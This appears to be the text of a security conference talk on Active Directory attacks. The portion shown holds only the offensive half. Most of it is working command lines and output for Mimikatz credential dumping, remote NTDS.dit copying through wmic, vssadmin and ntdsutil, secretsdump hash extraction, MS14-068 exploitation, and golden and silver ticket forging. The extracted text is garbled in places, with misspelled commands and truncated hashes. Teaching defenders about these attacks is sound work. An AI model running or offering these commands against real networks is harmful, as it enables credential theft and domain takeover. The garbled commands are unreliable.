Red vs. Blue: Modern Active Directory Attacks, Detection, & Protection

Sean Metcalf

sean [@] adsecurity . org

https://www.ADSecurity.org
About

- Chief Technology Officer - DAn Solutions
- Microsoft Certified Master (MCM) Directory Services
- Security Researcher / Purple Team
- Security Info -> [ADSecurity.org](http://ADSecurity.org)
Agenda

- Introduction
- Red Team
  - Recon
  - Escalate
  - Persist
- Blue Team
  - Detection
  - Mitigation
Paradigm Shift: ASSUME BREACH

- According to Mandiant M-Trends 2015 report
  - Intrusion average detection time:
    - 2013: 229 days
    - 2014: 205 days (>6 months!)
  - Longest Presence: 2,982 days (>8 years!)
  - 69% of organizations learned of the breach from outside entity
Perimeter Defenses Are Easily Bypassed

Message for you, Sir!
Assume Breach Means: Layered Defense
Kerberos TGT Ticket
Kerberos Overview

1. AS REQ (request TGT)
2. AS REP (receive TGT)
3. TGS REQ (present TGT, request TGS)
4. TGS REP (receive TGS)
5. AP REQ (present TGS for access)
6. AP REP (optional, used when mutual authentication is requested)
Kerberos Key Points

- NTLM password hash used for Kerberos RC4 encryption.
- Logon Ticket (TGT) proves prior user auth to DC.
- Kerberos policy only checked at TGT creation.
- DC only validates user account when TGT > 20 mins.
- Service Ticket (TGS) PAC validation is optional & rare.
Red Team (Offense)
Attacker Goals

- Data Access & Exfiltration
  - Email
  - Shares
  - SharePoint

- Persistence
  - AutoRun
  - WMI
  - “Sticky Keys”
  - PowerShell
PowerShell Overview

- Dave Kennedy: “Bash for Windows”
- Available by default in supported Windows versions
  - v2: Win 7 / Win 2k8R2
  - v3: Win 8 / Win 2012
  - v4: Win 8.1 / Win 2012R2
  - v5: Win 10 / Win 2016
- Leverages .Net Framework
- PowerShell.exe only an entry point into PowerShell
- Provides access to WMI & COM
- Microsoft code = whitelisted
- Download & run code in memory
Offensive PowerShell

- PowerSploit
  - Invoke-Mimikatz (updated 2/16/2015)
  - Invoke-TokenManipulation
  - Invoke-Shellcode
  - Get-GPPPassword
  - Persistence

- PowerView
  - Hunting Sys Admins
“SPN Scanning”: Service Discovery

- SQL servers, instances, ports, etc.
  - `MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433`

- Exchange
  - `exchangeMDB/adsmsEXCAS01.adsecurity.org`

- RDP
  - `TERMSERV/adsmsEXCAS01.adsecurity.org`

- WSMAN/WinRM/PS Remoting
  - `WSMAN/adsmsEXCAS01.adsecurity.org`

- Hyper-V Host
  - `Microsoft Virtual Console Service/adsmsHV01.adsecurity.org`

- VMWare VCenter
  - `STS/adsmsVC01.adsecurity.org`
<table>
<thead>
<tr>
<th>Domain</th>
<th>lab.adsecurity.org</th>
</tr>
</thead>
<tbody>
<tr>
<td>ServerName</td>
<td>adsMSSQL02.lab.adsecurity.org</td>
</tr>
<tr>
<td>Port</td>
<td>9834</td>
</tr>
<tr>
<td>Instance</td>
<td></td>
</tr>
<tr>
<td>ServiceAccountDN</td>
<td>{CN=svc-adsSQLSA,OU=TestServiceAccounts,DC=lab,DC=adsecurity,DC=org}</td>
</tr>
<tr>
<td>OperatingSystem</td>
<td>{Windows Server 2008 R2 Datacenter}</td>
</tr>
<tr>
<td>OSServicePack</td>
<td>{Service Pack 1}</td>
</tr>
<tr>
<td>LastBootup</td>
<td>3/8/2015 1:07:25 AM</td>
</tr>
<tr>
<td>OSVersion</td>
<td>{6.1 (7601)}</td>
</tr>
<tr>
<td>Description</td>
<td>{Production SQL Server}</td>
</tr>
<tr>
<td>SrvAcctUserID</td>
<td>svc-adsSQLSA</td>
</tr>
<tr>
<td>SrvAcctDescription</td>
<td>SQL Server Service Account</td>
</tr>
</tbody>
</table>
Getting Domain Admin in Active Directory

- Poor Service Account Passwords
- Passwords in SYSVOL
- Credential Theft
- Misconfiguration / Incorrect Perms
- Exploit Vulnerability
SPN Scanning for Service Accounts with Find-PSServiceAccounts

<table>
<thead>
<tr>
<th>Domain</th>
<th>lab.adsecurity.org</th>
</tr>
</thead>
<tbody>
<tr>
<td>UserID</td>
<td>svc-SQLAgent01</td>
</tr>
<tr>
<td>PasswordLastSet</td>
<td>01/03/2015 18:42:01</td>
</tr>
<tr>
<td>LastLogon</td>
<td>12/29/2014 00:18:02</td>
</tr>
<tr>
<td>Description</td>
<td></td>
</tr>
<tr>
<td>SPNServers</td>
<td>{ADSAPPSQL01.lab.adsecurity.org, ADSAPPSQL02.lab.adsecurity.org, ADSAPPSQL03.lab.adsecurity.org}</td>
</tr>
<tr>
<td>SPNTypes</td>
<td>{MSSQLSvc}</td>
</tr>
<tr>
<td>ServicePrincipalNames</td>
<td>{MSSQLSvc/ADSAPPSQL01.lab.adsecurity.org:1433, MSSQLSvc/ADSAPPSQL02.lab.adsecurity.org:1433, MSSQLSvc/ADSAPPSQL03.lab.adsecurity.org:1433}</td>
</tr>
</tbody>
</table>

SPN Directory:
http://adsecurity.org/?page_id=183
Cracking Service Account Passwords (Kerberoast)

- Request/Save TGS service tickets & crack offline.
- “Kerberoast” python-based TGS password cracker
- No elevated rights required!
- No traffic sent to target!

Reference: Tim Medin “Attacking Microsoft Kerberos: Kicking the Guard Dog of Hades”
https://www.youtube.com/watch?v=PUyhIN-E5MU
Group Policy Preferences (GPP)

- Authenticated Users have read access to SYSVOL
- Configuration data xml stored in SYSVOL
- Password is AES-256 encrypted
- Common credential use cases:
  - Create Local Users
  - Scheduled Tasks
  - Change local Administrator passwords
Exploiting Group Policy Preferences

The private key is publicly available on MSDN

- 2.2.1.1 Preferences Policy File Format
  - 2.2.1.1.1 Common XML Schema
  - 2.2.1.1.2 Outer and Inner Element Names and CLSIDs
  - 2.2.1.1.3 Common XML Attributes
- 2.2.1.4 Password Encryption
  - 2.2.1.4.1 Password Encryption
  - 2.2.1.4.2 Expanding Environment Variables

2.2.1.1.4 Password Encryption

All passwords are encrypted using a derived Advanced Encryption Standard (AES) key. <3>

The 32-byte AES key is as follows:

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx
Exploiting Group Policy Preferences

\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
The GPP Credential Vulnerability Fix?

- Vulnerability in GPP could allow elevation of privilege (May 13, 2014)
- MS14-025 (KB2962486)
- Install on all systems with RSAT
- *Passwords are not removed from SYSVOL*
Pivoting with Local Admin

- Using GPP Credentials:
  - GPP renames local Administrator account to “ADSAdmin”
  - GPP sets Password to “P@ssw0rd11!”
- Connect to other computers using ADSAdmin account
- Compromise Local Admin creds = Admin rights on all
- Always RID 500 – doesn’t matter if renamed.
- Mimikatz for more credentials!
Mimikatz: The Credential Multi-tool

- Dump credentials
  - Windows protected memory (LSASS). *
  - Active Directory Domain Controller database . *
- Dump Kerberos tickets
  - for all users. *
  - for current user.
- Credential Injection
  - Password hash (pass-the-hash)
  - Kerberos ticket (pass-the-ticket)
- Generate Silver and/or Golden tickets (depending on password hash available).

* Requires debug or system rights
Dump Credentials with Mimikatz

**User**

```
minikatz(commandline) # securlsa::logonpasswords
```

**Service Account**

```
Authentication Id: 0 ; 2858340 (00000000:000b9d64)
Session: Service from 0
User Name: svc-SQLDBEngine01
Domain: ADSECLAB
```

**User**

```
msv:
* Username: HanSolo
* Domain: ADSECLAB
* Password: Falcon99!
```

**Service Account**

```
msv:
* Username: svc-SQLDBEngine01
* Domain: ADSECLAB
* Password: ThisIsAGoodPassword99!
```

**User**

```
tspkg:
* Username: HanSolo
* Domain: ADSECLAB
* Password: Falcon99!
```

**Service Account**

```
tspkg:
* Username: svc-SQLDBEngine01
* Domain: ADSECLAB
* Password: ThisIsAGoodPassword99!
```

**User**

```
wdigest:
* Username: HanSolo
* Domain: ADSECLAB
* Password: Falcon99!
```

**Service Account**

```
wdigest:
* Username: svc-SQLDBEngine01
* Domain: ADSECLAB
* Password: ThisIsAGoodPassword99!
```

**User**

```
kerberos:
* Username: HanSolo
* Domain: LAB.ADSECURITY.ORG
* Password: Falcon99!
```

**Service Account**

```
kerberos:
* Username: svc-SQLDBEngine01
* Domain: LAB.ADSECURITY.ORG
* Password: ThisIsAGoodPassword99!
```

**User**

```
ssp:
```

**Service Account**

```
ssp:
```

**User**

```
credman:
```

**Service Account**

```
credman:
```
Default Logon Rights to Domain Controllers

- Enterprise Admins (admin on all DCs in the forest),
- Domain Admins
- Administrators
- Backup Operators
- Server Admins
- Account Operators
- Print Operators
- Other groups delegated in your environment
Dumping AD Domain Credentials

- Dump credentials on DC (local or remote).
  - Run code (Mimikatz, WCE, etc) on DC.
  - Invoke-Mimikatz on DC via PS Remoting.
- Get access to the NTDS.dit file & extract data.
  - Copy AD database from remote DC.
  - Grab AD database copy from backup.
  - Get Virtual DC data.
Dump AD Credentials with Mimikatz

```
mimikatz(powershell) # lsadump::sam\pc /patch
Domain: ADSECLAB / S-1-5-21-1473643419-774954089-222329127

RID : 000001f4 (500)
User : Administrator
LM :
NTLM : 6f40d9c1cab7f73d298dc3d94163543d

RID : 000001f5 (501)
User : Guest
LM :
NTLM :

RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 7e2a0e20851d0229f2489210b6575ede

RID : 000003e8 (1000)
User : admin
LM :
NTLM : 7c08d63a2f48f045971bc2236ed3f3ac

RID : 00000452 (1106)
User : LukeSkywalker
LM :
NTLM : 177af8ab46321ceef22b4e8376f2dba7
```
Dump LSASS Process Memory

```
minikatz(commandline) # sekurlsa::minidump c:\temp\lsass.dmp
Switch to MINIDUMP : 'c:\temp\lsass.dmp'
minikatz(commandline) # sekurlsa::logonpasswords
Opening : 'c:\temp\lsass.dmp' file for minidump...
```

- **Authentication Id**: 0: 218943 (00000000:0003573f)
- **Session**: Interactive from 1
- **User Name**: ADSAAdministrator
- **Domain**: ADSECLAB
- **Logon Server**: ADSDC02
- **Logon Time**: 5/30/2015 11:01:04 PM
- **SID**: S-1-5-21-1387203482-2957264255-828990924-500

```
msv :
[
[A00000003] Primary
  * Username : ADSAAdministrator
  * Domain : ADSECLAB
  * LM : e52cace7419a9a226e7e4a5f986d116
  * NTLM : 7c0b6d3a2f48f0459771bc2236ed3f3ac
  * SHA1 : 05a6fb536c065d5471cd5a30ac5604b42a74e31
  * Password : Password99!
```
Remotely Grab the DIT!

```
PS C:\Windows\system32> wmic /node:adsc02 /user:ADMIN\hansolo /password:Falcon99! process call create "cmd /c vssadmin create shadow /for=c: 2>&1" > c:\vss.log
Executing <Win32_Process>->Create()
Method execution successful.
Out Parameters:
  instance of __PARAMETERS
    ProcessId = 1540;
    ReturnValue = 0;

PS C:\Windows\system32> wmic /node:ADSC02 /user:ADMIN\HanSolo /password:Falcon99! process call create "cmd /c copy \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\windows\temp\NTDS.dit 2>&1" > c:\vss2.log
Executing <Win32_Process>->Create()
Method execution successful.
Out Parameters:
  instance of __PARAMETERS
    ProcessId = 604;
    ReturnValue = 0;

PS C:\Windows\system32> wmic /node:ADSC02 /user:ADMIN\HanSolo /password:Falcon99! process call create "cmd /c copy \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM c:\windows\temp\SYSTEM.hive 2>&1" > c:\vss2.log
Executing <Win32_Process>->Create()
Method execution successful.
Out Parameters:
  instance of __PARAMETERS
    ProcessId = 1844;
    ReturnValue = 0;

PS C:\Windows\system32> copy \\adsc02\c$\windows\temp\ntds.dit c:\temp
PS C:\Windows\system32> copy \\adsc02\c$\windows\temp\system.hive c:\temp
```
Remotely Grab the DIT using Pass The Ticket
Instead of VSS, why not leverage NTDSUtil?

PS C:\Users\Administrator.ADSECLAB> ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
C:\Windows\system32\ntdsutil.exe: ac i ntds
Active instance set to "ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full c:\temp
Creating snapshot...
Snapshot set {5113733a-e9ba-430f-a320-c1168d2f62e2} generated successfully.
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} mounted as C:\$SNAP_201503242343_VOLUMEC$\
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} is already mounted.
Initiating DEFRAGMENTATION mode...
    Source Database: C:\$SNAP_201503242343_VOLUMEC$\Windows\NTDS\ntds.dit
    Target Database: c:\temp\Active Directory\ntds.dit

<p>| Defragmentation Status (% complete) |
|----------------|----------------|</p>
<table>
<thead>
<tr>
<th>0</th>
<th>10</th>
<th>20</th>
<th>30</th>
<th>40</th>
<th>50</th>
<th>60</th>
<th>70</th>
<th>80</th>
<th>90</th>
<th>100</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Copying registry files...
Copying c:\temp\registry\SYSTEM
Copying c:\temp\registry\SECURITY
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} unmounted.
IFM media created successfully in c:\temp
ifm: q
C:\Windows\system32\ntdsutil.exe: q
Finding NTDS.dit on the Network

- Are your DC backups properly secured?
- Who administers the virtual server hosting the DCs?
- Are your VMWare/Hyper-V host admins considered Domain Admins?

Hint: They should be.
Dump Password Hashes from NTDS.dit

root@kali:/opt/impacket-0.9.11# secretsdump.py -system /opt/ntds/system.hive -ntds /opt/ntds/ntds.dit LOCAL
Impacket v0.9.11 - Copyright 2002-2014 Core Security Technologies

[*] Target system bootKey: 0x47f313875531b0e41a749186116575b
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] Pek found and decrypted: 0xc84e1ce7a0a057df160a8d8f9b86d98c
[*] Reading and decrypting hashes from /opt/ntds/ntds.dit

ADSDC02$:2101:aad3b435b51404eeaad3b435b51404ee:eaac459f6664fe083b734a1898c9704e:
ADSDC01$:1000:aad3b435b51404eeaad3b435b51404ee:400c1c11513a3a988671069ef7flee58:
ADSDC05$:1104:aad3b435b51404eeaad3b435b51404ee:aabc5e3df7b112edcad18b07a065d89:
ADSDC04$:1105:aad3b435b51404eeaad3b435b51404ee:840c1a91da2670b6d5bd1927e6299f27:
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7c08d63a2f48f045971bc2236ed3f:
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8a2f1adccdd519a2e515780021d2d178a:::
lab.adsecurity.org\Admin:1103:aad3b435b51404eeaad3b435b51404ee:7c08d63a2f48f0459:
lab.adsecurity.org\LukeSkywalker:2601:aad3b435b51404eeaad3b435b51404ee:177af8ab4:
lab.adsecurity.org\HanSolo:2602:aad3b435b51404eeaad3b435b51404ee:269c063a623b29:
Pass The... Credential

- **Pass the Hash**
  - Access resource with username & NTLM hash

- **Pass the Ticket**
  - Steal Kerberos ticket & reuse to access resource.

- **Over Pass the Hash**
  - Use the NTLM hash to get a Kerberos Ticket!
Over Pass the Hash

Get the NTLM password hash and use to get Kerberos ticket(s)
MS14-068: (Microsoft) Kerberos Vulnerability

- MS14-068 (CVE-2014-6324) Patch released 11/18/2014
- Domain Controller Kerberos (KDC) Service didn’t correctly validate the PAC checksum.
- Create a Kerberos “Golden Ticket” using a valid AD user account.

http://adsecurity.org/?tag=ms14068
c:\Temp\pykek\ms14-068.py -u bobafett@lab.adsecurity.org -p Password99! -s S-1-5-21-1473643419-774954089-22223 29427-1617 -d adsc02.lab.adsecurity.org

[+] Building AS-REQ for adsc02.lab.adsecurity.org... Done!
[+] Sending AS-REQ to adsc02.lab.adsecurity.org... Done!
[+] Receiving AS-REP from adsc02.lab.adsecurity.org... Done!
[+] Parsing AS-REP from adsc02.lab.adsecurity.org... Done!
[+] Building TGS-REQ for adsc02.lab.adsecurity.org... Done!
[+] Sending TGS-REQ to adsc02.lab.adsecurity.org... Done!
[+] Receiving TGS-REP from adsc02.lab.adsecurity.org... Done!
[+] Parsing TGS-REP from adsc02.lab.adsecurity.org... Done!
[+] Creating ccache file 'TGT_bobafett@lab.adsecurity.org.ccache'... Done!

nimikatz<commandline> $ kerberos::ptc c:\temp\pykek\TGT_bobafett@lab.adsecurity.org.ccache

Principal: (01) bobafett @ LAB.ADSECURITY.ORG

Data 0

Service Name (01) krbtgt @ LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Target Name (01) krbtgt @ LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Client Name (01) bobafett @ LAB.ADSECURITY.ORG
Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ; Session Key : 0x000000017 - rc4_hmac_nt
  04f2a374032b0477c6195fda06721e5
Ticket : 0x00000000 - null ; kerno = 2

nimikatz<commandline> $ exit

Bye!

c:\Temp\pykek\net use \\adsc02.lab.adsecurity.org\admin$
The command completed successfully.
MS14-068 Kekeo Exploit

PS C:\temp\kekeo> .\ms14068.exe /domain:lab.adsecurity.org /user:JoeUser /password:Password99! /ptt

MS14-068 POC 1.1 (x86) release "Kiwi en C" (Apr 19 2015 00:51:32)

### /* */
Benjamin DELPY 'gentilkiwi' < benjamin@gentilkiwi.com>
'## v ##' http://blog.gentilkiwi.com (oe.eo)
'#####' ... with thanks to Tom Maddock & Sylvain Monne */ */

[KDC] 'ADSDC01.lab.adsecurity.org' will be the main server
[AUTH] Impersonation
[KDC] 3 server(s) in list
[SID/RID] 'JoeUser @ lab.adsecurity.org' must be translated to SID/RID

user : JoeUser
domain : lab.adsecurity.org
password : ***
sid : S-1-5-21-1583770191-1400008446-326828411
rid : 1111
key : 7c08d63a2f48f045971bc2236ed3f3ac <rc4_hmac_nt>
ticket : ** Pass The Ticket **
[level 1] Reality <AS-REQ>
[level 2] Van Chase <PAC TIME>
* PAC generated
* PAC """" signed """
[level 3] The Hotel <TGS-REQ>
[level 4] Snow Fortress <TGS-REQ>
* ADSDC01 : KDC_ERR_SUBTYPE NOSUPP (15)
* ADSDC02 : [level 5] Limbo ! <KRB-CRED> : * Ticket successfully submitted for current session
Auto inject BREAKS on first Pass-the-ticket
PS C:\temp\kekeo> net use \\adsc02.lab.adsecurity.org\admin$
The command completed successfully.
### MS14-068 Kekeo Exploit – Packet Capture

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0.00000000</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>KRB5</td>
<td>AS-REQ</td>
</tr>
<tr>
<td>2</td>
<td>0.00092300</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>KRB5</td>
<td>KRB Error: KRB5KDC_ERR_PREAUTH_REQUIRED</td>
</tr>
<tr>
<td>3</td>
<td>0.03833100</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>KRB5</td>
<td>AS-REQ</td>
</tr>
<tr>
<td>4</td>
<td>0.03988400</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>TCP</td>
<td>[TCP segment of a reassembled PDU]</td>
</tr>
<tr>
<td>5</td>
<td>0.04105500</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>KRB5</td>
<td>TGS-REQ</td>
</tr>
<tr>
<td>6</td>
<td>0.04263000</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>TCP</td>
<td>[TCP segment of a reassembled PDU]</td>
</tr>
<tr>
<td>7</td>
<td>0.05740400</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>KRB5</td>
<td>TGS-REQ</td>
</tr>
<tr>
<td>8</td>
<td>0.05981600</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>TCP</td>
<td>[TCP segment of a reassembled PDU]</td>
</tr>
<tr>
<td>9</td>
<td>0.06090200</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>KRB5</td>
<td>TGS-REQ</td>
</tr>
<tr>
<td>10</td>
<td>0.06179500</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>KRB5</td>
<td>TGS-REP</td>
</tr>
<tr>
<td>11</td>
<td>0.08112000</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>KRB5</td>
<td>AS-REQ</td>
</tr>
<tr>
<td>12</td>
<td>0.08241400</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>KRB5</td>
<td>AS-REP</td>
</tr>
<tr>
<td>13</td>
<td>0.08309700</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>KRB5</td>
<td>TGS-REQ</td>
</tr>
<tr>
<td>14</td>
<td>0.08394900</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>KRB5</td>
<td>TGS-REP</td>
</tr>
<tr>
<td>15</td>
<td>0.08495400</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>KRB5</td>
<td>TGS-REQ</td>
</tr>
<tr>
<td>16</td>
<td>0.08560900</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>KRB5</td>
<td>KRB Error: KRB5KDC_ERR_SUMTYPE_NOSUPP</td>
</tr>
<tr>
<td>17</td>
<td>0.08790800</td>
<td>172.16.11.111</td>
<td>172.16.11.12</td>
<td>KRB5</td>
<td>TGS-REQ</td>
</tr>
<tr>
<td>18</td>
<td>0.08896700</td>
<td>172.16.11.12</td>
<td>172.16.11.11</td>
<td>KRB5</td>
<td>TGS-REP</td>
</tr>
<tr>
<td>19</td>
<td>20.4649410</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>KRB5</td>
<td>TGS-REQ</td>
</tr>
<tr>
<td>20</td>
<td>20.4677610</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>TCP</td>
<td>[TCP segment of a reassembled PDU]</td>
</tr>
<tr>
<td>21</td>
<td>20.4692200</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>KRB5</td>
<td>TGS-REQ</td>
</tr>
<tr>
<td>22</td>
<td>20.4708850</td>
<td>172.16.11.111</td>
<td>172.16.11.11</td>
<td>KRB5</td>
<td>TGS-REP</td>
</tr>
</tbody>
</table>
User to Admin in 5 Minutes?
“Victims quickly learned that the path from a few infected systems to complete compromise of an Active Directory domain could be incredibly short.”

“Kerberos Attacks: After gaining domain administrator privileges, attackers used the Kerberos golden ticket attack to authenticate as any privileged account—even after domain password resets.”

- Mandiant M-Trends 2015 report
Forging Kerberos Golden/Silver Tickets

- Requires KRBTGT pw hash / service account pw hash.
- Forged TGT (Golden Ticket) bypasses all user restrictions.
- Create anywhere & use on any computer on the network.
- No elevated rights required to create/use.
  - Impersonate existing user.
  - Invent a fictional user with elevated rights.
  - *Spoof access without changing group membership*
- *User password changes have no impact on forged ticket!*
KRBTGT: The AD Kerberos Service Account

- KRBTGT account: disabled and not visible.
- Sign/encrypt AD Kerberos tickets
- Pwd set when domain created & (almost) never changes
  - Password changes when DFL -> 2008 (or newer).
- Current & Previous Password valid for Kerberos tickets
- KRBTGT password exposed? Requires changing twice!
- RODC Kerberos Account: KRBTGT_#####.
KRBTGT: The AD Service Account

PS C:\> get-aduser -filter {name -like "krbtg\*"} -prop Name, Created, PasswordLastSet, msDS-KeyVersionNumber, msDS-KrbTgtLinkB1

Created: 2/16/2015 10:36:11 PM
DistinguishedName: CN=krbtg, CN=Users, DC=lab, DC=adsecurity, DC=org
Enabled: False
GivenName:
msDS-KeyVersionNumber: 2
Name: krbtgt
ObjectClass: user
ObjectGUID: 91c05e7f-cec2-4698-990d-327cc3023f3c
PasswordLastSet: 2/16/2015 10:36:11 PM
SamAccountName: krbtgt
SID: 5-1-5-21-1387203482-2957264255-828990924-502
Surname:
UserPrincipalName:

Created: 2/19/2015 9:21:11 PM
DistinguishedName: CN=krbtg_27140, CN=Users, DC=lab, DC=adsecurity, DC=org
Enabled: False
GivenName:
msDS-KeyVersionNumber: 1
msDS-KrbTgtLinkB1: {CN=ADSRODC1,OU=Domain Controllers, DC=lab, DC=adsecurity, DC=org}
Name: krbtgt_27140
ObjectClass: user
ObjectGUID: c64aeabb-feeb-460b-8b02-7d1f93f0574a
PasswordLastSet: 2/19/2015 9:21:12 PM
SamAccountName: krbtgt_27140
SID: 5-1-5-21-1387203482-2957264255-828990924-1107
Surname:
UserPrincipalName:
The Golden Ticket (Forged TGT)

- Encrypted/Signed by KRBTGT (RID 502).
- Bypasses Smart Card authentication requirement
- Golden Ticket options:
  - Impersonate existing Domain Admin
  - Create Fictitious user
  - Spoof access by adding groups to the ticket
  - Impersonate C-level executive access
- Where are the crown jewels?
Golden Ticket (Forged TGT) Communication
Forging a Golden Ticket: KRBTGT NTLM Hash

mimikatz(commandline) # lsadump::lsa /name:krbtgt /inject
Domain: ADSECLAB / S-1-5-21-1387203482-2957264255-828990924
RID: 000001f6 (502)
User: krbtgt

* Primary
LM:
NTLM: cdc53c282915380a09750f5657ea41c7

mimikatz(commandline) # sekurlsa::krbtgt

Current krbtgt 5 credentials
> rc4_hmac_nt - cdc53c282915380a09750f5657ea41c7
> rc4_hmac_old - cdc53c282915380a09750f5657ea41c7
> rc4_md4 - cdc53c282915380a09750f5657ea41c7
> aes256_hmac - 9e7f2db9129e87fa21c9270760887391a2b2af62b5fc740c10e91438d6c72e4a
> aes128_hmac - ae090644436606995c5261286371bf30

Previous krbtgt 8 credentials
> rc4_hmac_nt - b0fc53bda6af599b69d35f425b878c22
> rc4_hmac_nt - 9028e28c02701864c24d50afe3e5355d
> rc4_hmac_old - b0fc53bda6af599b69d35f425b878c22
> rc4_md4 - b0fc53bda6af599b69d35f425b878c22
> aes256_hmac - 30007d1c82c9d39d205b2b54b6170c080d4d0581fe817162a830c9124cef37b0
> aes128_hmac - fc76e1057be20ba273c89c287771f7e7
Forging a Golden Ticket: Impersonate Valid DA

```plaintext
mimikatz(commandline) # kerberos::golden /admin:LukeSkywalker /domain:lab.adsecurity.org /id:2601 / startoffset:0 / endin:600 / renewms
User   : LukeSkywalker
Domain  : lab.adsecurity.org
SID    : S-1-5-21-1387203482-2957264255-828990924
User Id : 2601
Groups Id : 512 512 512 512 512
ServiceKey: 8a2f1adcd519a2e515780021d2d178a - rc4_hmac_nt
-> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'LukeSkywalker @ lab.adsecurity.org' successfully submitted for current session

mimikatz(commandline) # exit
Bye!
PS C:\Users\JoeUser> whoami
adseclab\joeuser
PS C:\Users\JoeUser> 
```
Forging a Golden Ticket: Fictional User

```
mimikatz(commandline) # kerberos::golden /admin:DarthVader /domain:lab.adsecurity.org /id:2601 /sid:S-1-5-21-1387203482-2957264255-828990924 /startoffset:0 /endin:600 /renewmax:10000 /ptt
User: DarthVader
Domain : lab.adsecurity.org
SID: S-1-5-21-1387203482-2957264255-828990924
User Id: 2601
Groups Id: 513 512 520 518 519
ServiceKey: 8a2f1adcd9519a2e515780021d2d170a - rc4_hmac_nt
Lifetime: 3/12/2015 9:44:00 PM ; 3/13/2015 7:44:00 AM ; 3/19/2015 9:44:00 PM
-> Ticket: *** Pass The Ticket ***

* PNC generated
* PNC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KerbCred generated

Golden ticket for 'DarthVader @ lab.adsecurity.org' successfully submitted for current session

mimikatz(commandline) # exit
Bye!
PS C:\Users\JoeUser> klist
Current LogonId is 0:0x0dac83
Cached Tickets: <1>

#0 Client: DarthVader @ lab.adsecurity.org
   Server: krbtgt/lab.adsecurity.org@lab.adsecurity.org
   KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
   Ticket Flags 0x10e00000 -> forwardable renewable initial pre_authent
   Start Time: 3/12/2015 21:44:00 <local>
   End Time: 3/13/2015 7:44:00 <local>
   Renew Time: 3/19/2015 9:44:00 <local>
   Session Key Type: RSADSI RC4-HMAC(NT)

PS C:\Users\JoeUser> net use \adsdc02.lab.adsecurity.org\c$\windows\ntds
The command completed successfully.
PS C:\Users\JoeUser> whoami
adsdc.lab\JoeUser
PS C:\Users\JoeUser>
The Silver Ticket (Forged TGS)

- Service account configured for Kerberos auth (SPN).
- Encrypted with the service account private key:
  - Service account NLTM password hash
  - AD computer account NLTM password hash
- Service opens TGS ticket to validate.
- Golden Ticket equivalent access to service.
- No associated TGT exists, so no comm with a DC
Silver Ticket (Forged TGS) Communication

1. User’s Workstation requests access to Application Server.
2. Domain Controller authenticates the User’s Workstation.
3. Domain Controller generates a TGS (Ticket Granting Ticket).
4. Domain Controller sends TGS to User’s Workstation.
5. User’s Workstation sends AP REQ (Authentication and Presentation Request) to Application Server, including the TGS.
6. Application Server validates the TGS and grants access.

Optional steps:
- PAC Validation Request (Optional)
- PAC Validation Response (Optional)
Silver Ticket: Domain Controller Exploitation

• Attacker dumped AD & has all domain creds.
• Corp IT changed all user, admin, and service account passwords (and KRBTGT pw 2x).
• Attacker still has Domain Controller computer account password hashes.

What is possible with these?
Silver Ticket: Domain Controller Exploitation


User: LukeSkywalker
Domain: LAB.ADSECURITY.ORG
SID: S-1-5-21-1387203482-2957264255-828990924
User Id: 2601
Groups Id: *513 512 520 518 519
ServiceKey: eaac459f6664fe083b234a1998c9704e - rc4_hmac_nt

Service: cifs
Target: adsdc02.lab.adsecurity.org

-> Ticket: ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

